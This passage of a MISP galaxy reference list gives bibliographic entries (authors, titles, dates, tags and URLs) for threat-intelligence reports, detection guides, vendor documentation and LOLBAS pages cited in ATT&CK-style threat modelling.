Alperovitch 2014

Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Alperovitch 2014"*

Table 20254. Table References

Links
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/

DefaultPack.EXE - LOLBAS Project

LOLBAS. (2020, October 1). DefaultPack.EXE. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="DefaultPack.EXE - LOLBAS Project"*

Table 20255. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/

Lastline DarkHotel Just In Time Decryption Nov 2015

Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021.

The tag is: *misp-galaxy:references="Lastline DarkHotel Just In Time Decryption Nov 2015"*

Table 20256. Table References

Links
https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/

piazza launch agent mitigation

Antonio Piazza (4n7m4n). (2021, November 23). Defeating Malicious Launch Persistence. Retrieved April 19, 2022.

The tag is: *misp-galaxy:references="piazza launch agent mitigation"*

Table 20257. Table References

Links
https://antman1p-30185.medium.com/defeating-malicious-launch-persistence-156e2b40fc67

Inversecos Timestomping 2022

Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection – NTFS Forensics. Retrieved September 30, 2024.

The tag is: *misp-galaxy:references="Inversecos Timestomping 2022"*

Table 20258. Table References

Links
https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html

VectorSec ForFiles Aug 2017

vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="VectorSec ForFiles Aug 2017"*

Table 20259. Table References

Links
https://x.com/vector_sec/status/896049052642533376

Black Hat 2015 App Shim

Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.

The tag is: *misp-galaxy:references="Black Hat 2015 App Shim"*

Table 20260. Table References

Links
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf

TechNet O365 Outlook Rules

Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.

The tag is: *misp-galaxy:references="TechNet O365 Outlook Rules"*

Table 20261. Table References

Links
https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/

Defending Against Scheduled Task Attacks in Windows Environments

Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.

The tag is: *misp-galaxy:references="Defending Against Scheduled Task Attacks in Windows Environments"*

Table 20262. Table References

Links
https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments

Rapid7 HAFNIUM Mar 2021

Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.

The tag is: *misp-galaxy:references="Rapid7 HAFNIUM Mar 2021"*

Table 20263. Table References

Links
https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/

Microsoft SQL Server

Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.

The tag is: *misp-galaxy:references="Microsoft SQL Server"*

Table 20264. Table References

Links
https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/

hhs-email-bombing

U.S. Department of Health and Human Services. (2024, March 12). Defense and Mitigations from E-mail Bombing. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="hhs-email-bombing"*

Table 20265. Table References

Links
https://www.hhs.gov/sites/default/files/email-bombing-sector-alert-tlpclear.pdf

rundll32.exe defense evasion

Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.

The tag is: *misp-galaxy:references="rundll32.exe defense evasion"*

Table 20266. Table References

Links
https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/

def_ev_win_event_logging

Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.

The tag is: *misp-galaxy:references="def_ev_win_event_logging"*

Table 20267. Table References

Links
https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/

Kaspersky DeftTorero October 3 2022

Global Research & Analysis Team. (2022, October 3). DeftTorero: tactics, techniques and procedures of intrusions revealed. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="Kaspersky DeftTorero October 3 2022"*

Table 20268. Table References

Links
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/

TechNet Del

Microsoft. (n.d.). Del. Retrieved April 22, 2016.

The tag is: *misp-galaxy:references="TechNet Del"*

Table 20269. Table References

Links
https://technet.microsoft.com/en-us/library/cc771049.aspx

Hunters Domain Wide Delegation Google Workspace 2023

Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.

The tag is: *misp-galaxy:references="Hunters Domain Wide Delegation Google Workspace 2023"*

Table 20270. Table References

Links
https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover

Azure Shared Access Signature

Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.

The tag is: *misp-galaxy:references="Azure Shared Access Signature"*

Table 20271. Table References

Links
https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature

Register Deloitte

Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Register Deloitte"*

Table 20272. Table References

Links
https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/

Talos Micropsia June 2017

Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.

The tag is: *misp-galaxy:references="Talos Micropsia June 2017"*

Table 20273. Table References

Links
https://blog.talosintelligence.com/2017/06/palestine-delphi.html

TrendMicro EarthLusca 2022

Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca's Operations. Retrieved July 1, 2022.

The tag is: *misp-galaxy:references="TrendMicro EarthLusca 2022"*

Table 20274. Table References

Links
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

Demiguise Guardrail Router Logo

Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.

The tag is: *misp-galaxy:references="Demiguise Guardrail Router Logo"*

Table 20275. Table References

Links
https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js

FireEye Hacking Team

FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.

The tag is: *misp-galaxy:references="FireEye Hacking Team"*

Table 20276. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html

Demystifying Azure AD Service Principals

Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.

The tag is: *misp-galaxy:references="Demystifying Azure AD Service Principals"*

Table 20277. Table References

Links
https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/

demystifying_ryuk

Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022.

The tag is: *misp-galaxy:references="demystifying_ryuk"*

Table 20278. Table References

Links
https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947

DOJ Iran Indictments September 2020

DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.

The tag is: *misp-galaxy:references="DOJ Iran Indictments September 2020"*

Table 20279. Table References

Links
https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt

Microsoft GitHub Device Guard CI Policies

Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.

The tag is: *misp-galaxy:references="Microsoft GitHub Device Guard CI Policies"*

Table 20280. Table References

Links
https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md

Microsoft Deploying AD Federation

Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="Microsoft Deploying AD Federation"*

Table 20281. Table References

Links
https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs

Apple Kernel Extension Deprecation

Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.

The tag is: *misp-galaxy:references="Apple Kernel Extension Deprecation"*

Table 20282. Table References

Links
https://developer.apple.com/support/kernel-extensions/

Black Lotus Raptor Train September 18 2024

Black Lotus Labs. (2024, September 18). Derailing the Raptor Train. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Black Lotus Raptor Train September 18 2024"*

Table 20283. Table References

Links
https://blog.lumen.com/derailing-the-raptor-train/

Amazon Describe Instance

Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.

The tag is: *misp-galaxy:references="Amazon Describe Instance"*

Table 20284. Table References

Links
https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html

Amazon Describe Instances API

Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="Amazon Describe Instances API"*

Table 20285. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html

DescribeSecurityGroups - Amazon Elastic Compute Cloud

Amazon Web Services, Inc. . (2022). DescribeSecurityGroups. Retrieved January 28, 2022.

The tag is: *misp-galaxy:references="DescribeSecurityGroups - Amazon Elastic Compute Cloud"*

Table 20286. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html

Microsoft RunOnceEx APR 2018

Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.

The tag is: *misp-galaxy:references="Microsoft RunOnceEx APR 2018"*

Table 20287. Table References

Links
https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key

Designing Daemons Apple Dev

Apple. (n.d.). Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="Designing Daemons Apple Dev"*

Table 20288. Table References

Links
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html

Desk.cpl - LOLBAS Project

LOLBAS. (2022, April 21). Desk.cpl. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Desk.cpl - LOLBAS Project"*

Table 20289. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Desk/

Free Desktop Application Autostart Feb 2006

Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Free Desktop Application Autostart Feb 2006"*

Table 20290. Table References

Links
https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html

Desktopimgdownldr.exe - LOLBAS Project

LOLBAS. (2020, June 28). Desktopimgdownldr.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Desktopimgdownldr.exe - LOLBAS Project"*

Table 20291. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Desktopimgdownldr/

CISA AA22-057A Destructive Malware February 2022

CISA. (2022, February 26). Destructive Malware Targeting Organizations in Ukraine. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="CISA AA22-057A Destructive Malware February 2022"*

Table 20292. Table References

Links

https://www.cisa.gov/uscert/ncas/alerts/aa22-057a

Microsoft WhisperGate January 2022

MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.

The tag is: *misp-galaxy:references="Microsoft WhisperGate January 2022"*

Table 20293. Table References

Links
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/

S2W DarkGate January 16 2024

S2W. (2024, January 16). Detailed Analysis of DarkGate. Retrieved July 12, 2024.

The tag is: *misp-galaxy:references="S2W DarkGate January 16 2024"*

Table 20294. Table References

Links
https://medium.com/s2wblog/detailed-analysis-of-darkgate-investigating-new-top-trend-backdoor-malware-0545ecf5f606

NSA and ASD Detect and Prevent Web Shells 2020

NSA and ASD. (2020, April 3). Detect and Prevent Web Shell Malware. Retrieved July 23, 2021.

The tag is: *misp-galaxy:references="NSA and ASD Detect and Prevent Web Shells 2020"*

Table 20295. Table References

Links
https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF

URI Unique

Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="URI Unique"*

Table 20296. Table References

Links
https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF

Microsoft Detect Outlook Forms

Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.

The tag is: *misp-galaxy:references="Microsoft Detect Outlook Forms"*

Table 20297. Table References

Links
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack

ADDSecurity DCShadow Feb 2018

Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.

The tag is: *misp-galaxy:references="ADDSecurity DCShadow Feb 2018"*

Table 20298. Table References

Links
https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html

Lacework LLMJacking 2024

Lacework Labs. (2024, June 6). Detecting AI resource-hijacking with Composite Alerts. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Lacework LLMJacking 2024"*

Table 20299. Table References

Links
https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts

Pace University Detecting DGA May 2017

Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.

The tag is: *misp-galaxy:references="Pace University Detecting DGA May 2017"*

Table 20300. Table References

Links
http://csis.pace.edu/}ctappert/srd2017/2017PDF/d4.pdf

MDSec Detecting DOTNET

MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="MDSec Detecting DOTNET"*

Table 20301. Table References

Links
https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/

Cisco DoSdetectNetflow

Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.

The tag is: *misp-galaxy:references="Cisco DoSdetectNetflow"*

Table 20302. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf

RSA2017 Detect and Respond Adair

Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="RSA2017 Detect and Respond Adair"*

Table 20303. Table References

Links
https://web.archive.org/web/20210803040540/https://published-prd.lanyonevents.com/published/rsaus17/sessionsFiles/5009/HTA-F02-Detecting-and-Responding-to-Advanced-Threats-within-Exchange-Environments.pdf

Nmap Firewalls NIDS

Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Nmap Firewalls NIDS"*

Table 20304. Table References

Links
https://nmap.org/book/firewalls.html

Medium Detecting Attempts to Steal Passwords from Memory

French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.

The tag is: *misp-galaxy:references="Medium Detecting Attempts to Steal Passwords from Memory"*

Table 20305. Table References

Links
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea

Merces BPFDOOR 2023

Fernando Merces. (2023, July 13). Detecting BPFDoor Backdoor Variants Abusing BPF Filters. Retrieved September 23, 2024.

The tag is: *misp-galaxy:references="Merces BPFDOOR 2023"*

Table 20306. Table References

Links
https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html

Endurant CMSTP July 2018

Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Endurant CMSTP July 2018"*

Table 20307. Table References

Links
https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/

Red Canary COR_PROFILER May 2020

Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="Red Canary COR_PROFILER May 2020"*

Table 20308. Table References

Links
https://redcanary.com/blog/cor_profiler-for-persistence/

NVisio Labs DDE Detection Oct 2017

NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="NVisio Labs DDE Detection Oct 2017"*

Table 20309. Table References

Links
https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/

Zhang 2013

Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.

The tag is: *misp-galaxy:references="Zhang 2013"*

Table 20310. Table References

Links
http://www.netsec.colostate.edu/}zhang/DetectingEncryptedBotnetTraffic.pdf

ADSecurity Detecting Forged Tickets

Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.

The tag is: *misp-galaxy:references="ADSecurity Detecting Forged Tickets"*

Table 20311. Table References

Links

https://adsecurity.org/?p=1515

Microsoft Detecting Kerberoasting Feb 2018

Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.

The tag is: *misp-galaxy:references="Microsoft Detecting Kerberoasting Feb 2018"*

Table 20312. Table References

Links
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/

Medium Detecting Lateral Movement

French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.

The tag is: *misp-galaxy:references="Medium Detecting Lateral Movement"*

Table 20313. Table References

Links
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc

Inversecos Linux Timestomping

inversecos. (2022, August 4). Detecting Linux Anti-Forensics: Timestomping. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Inversecos Linux Timestomping"*

Table 20314. Table References

Links
https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html

macOS root VNC login without authentication

Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="macOS root VNC login without authentication"*

Table 20315. Table References

Links
https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication

Sans Virtual Jan 2016

Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="Sans Virtual Jan 2016"*

Table 20316. Table References

Links
https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667

Mandiant Azure AD Backdoors

Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="Mandiant Azure AD Backdoors"*

Table 20317. Table References

Links
https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors

CounterCept PPID Spoofing Dec 2018

Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.

The tag is: *misp-galaxy:references="CounterCept PPID Spoofing Dec 2018"*

Table 20318. Table References

Links
https://www.countercept.com/blog/detecting-parent-pid-spoofing/

CISA SolarWinds Cloud Detection

CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.

The tag is: *misp-galaxy:references="CISA SolarWinds Cloud Detection"*

Table 20319. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa21-008a

Detecting Rclone

Aaron Greetham. (2021, May 27). Detecting Rclone – An Effective Tool for Exfiltration. Retrieved August 30, 2022.

The tag is: *misp-galaxy:references="Detecting Rclone"*

Table 20320. Table References

Links
https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/

Medium Detecting WMI Persistence

French, D. (2018, October 9). Detecting & Removing an Attacker's WMI Persistence. Retrieved October 11, 2019.

The tag is: *misp-galaxy:references="Medium Detecting WMI Persistence"*

Table 20321. Table References

Links
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96

Okta Scatter Swine 2022

Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.

The tag is: *misp-galaxy:references="Okta Scatter Swine 2022"*

Table 20322. Table References

Links
https://sec.okta.com/scatterswine

Splunk Supernova Jan 2021

Stoner, J. (2021, January 21). Detecting Supernova Malware: SolarWinds Continued. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="Splunk Supernova Jan 2021"*

Table 20323. Table References

Links
https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html

Microsoft Winnti Jan 2017

Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.

The tag is: *misp-galaxy:references="Microsoft Winnti Jan 2017"*

Table 20324. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

Chokepoint preload rootkits

stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Chokepoint preload rootkits"*

Table 20325. Table References

Links
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html

Sygnia Golden SAML

Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Sygnia Golden SAML"*

Table 20326. Table References

Links
https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/

FireEye Exchange Zero Days March 2021

Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021.

The tag is: *misp-galaxy:references="FireEye Exchange Zero Days March 2021"*

Table 20327. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html

Google Cloud Threat Intelligence ESXi Hardening 2023

Alex Marvi, Greg Blaum, and Ron Craft. (2023, June 28). Detection, Containment, and Hardening Opportunities for Privileged Guest Operations, Anomalous Behavior, and VMCI Backdoors on Compromised VMware Hosts. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Google Cloud Threat Intelligence ESXi Hardening 2023"*

Table 20328. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/vmware-detection-containment-hardening

Splunk Detect Renamed PSExec

Splunk. (2025, February 24). Detection: Detect Renamed PSExec. Retrieved April 3, 2025.

The tag is: *misp-galaxy:references="Splunk Detect Renamed PSExec"*

Table 20329. Table References

Links
https://research.splunk.com/endpoint/683e6196-b8e8-11eb-9a79-acde48001122/

Microsoft DEV-0139 December 6 2022

Microsoft Threat Intelligence. (2022, December 6). DEV-0139 launches targeted attacks against the cryptocurrency industry. Retrieved September 30, 2024.

The tag is: *misp-galaxy:references="Microsoft DEV-0139 December 6 2022"*

Table 20330. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/12/06/dev-0139-launches-targeted-attacks-against-the-cryptocurrency-industry/

Microsoft DEV-0537

Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.

The tag is: *misp-galaxy:references="Microsoft DEV-0537"*

Table 20331. Table References

Links
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

MSTIC DEV-0537 Mar 2022

MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.

The tag is: *misp-galaxy:references="MSTIC DEV-0537 Mar 2022"*

Table 20332. Table References

Links
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

Microsoft Royal ransomware November 2022

MSTIC. (2022, November 17). DEV-0569 finds new ways to deliver Royal ransomware, various payloads. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="Microsoft Royal ransomware November 2022"*

Table 20333. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/

MSTIC DEV-0832 October 25 2022

Microsoft Threat Intelligence. (2022, October 25). DEV-0832 (Vice Society) opportunistic ransomware campaigns impacting US education sector. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="MSTIC DEV-0832 October 25 2022"*

Table 20334. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/

Cisco IOS Forensics Developments

Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21,

2020.

The tag is: *misp-galaxy:references="Cisco IOS Forensics Developments"*

Table 20335. Table References

Links
https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf

DeviceCredentialDeployment.exe - LOLBAS Project

LOLBAS. (2021, August 16). DeviceCredentialDeployment.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="DeviceCredentialDeployment.exe - LOLBAS Project"*

Table 20336. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/

GitHub mattifestation DeviceGuardBypass

Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.

The tag is: *misp-galaxy:references="GitHub mattifestation DeviceGuardBypass"*

Table 20337. Table References

Links
https://github.com/mattifestation/DeviceGuardBypassMitigationRules

Devinit.exe - LOLBAS Project

LOLBAS. (2022, January 20). Devinit.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Devinit.exe - LOLBAS Project"*

Table 20338. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/

Devtoolslauncher.exe - LOLBAS Project

LOLBAS. (2019, October 4). Devtoolslauncher.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Devtoolslauncher.exe - LOLBAS Project"*

Table 20339. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/

devtunnel.exe - LOLBAS Project

LOLBAS. (2023, September 16). devtunnel.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="devtunnel.exe - LOLBAS Project"*

Table 20340. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/devtunnels/

Dfshim.dll - LOLBAS Project

LOLBAS. (2018, May 25). Dfshim.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Dfshim.dll - LOLBAS Project"*

Table 20341. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Dfshim/

LOLBAS /Dfsvc.exe

LOLBAS. (n.d.). /Dfsvc.exe. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="LOLBAS /Dfsvc.exe"*

Table 20342. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/

Dfsvc.exe - LOLBAS Project

LOLBAS. (2018, May 25). Dfsvc.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Dfsvc.exe - LOLBAS Project"*

Table 20343. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/

dhcp_serv_op_events

Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.

The tag is: *misp-galaxy:references="dhcp_serv_op_events"*

Table 20344. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)

Microsoft DiamondSleet 2023

Microsoft Threat Intelligence. (2023, November 22). Diamond Sleet supply chain compromise distributes a modified CyberLink installer. Retrieved March 28, 2025.

The tag is: *misp-galaxy:references="Microsoft DiamondSleet 2023"*

Table 20345. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/11/22/diamond-sleet-supply-chain-compromise-distributes-a-modified-cyberlink-installer/

GitHub Diamorphine

Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="GitHub Diamorphine"*

Table 20346. Table References

Links
https://github.com/m0nad/Diamorphine

diantz.exe_lolbas

Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.

The tag is: *misp-galaxy:references="diantz.exe_lolbas"*

Table 20347. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Diantz/

Fortinet Diavol July 2021

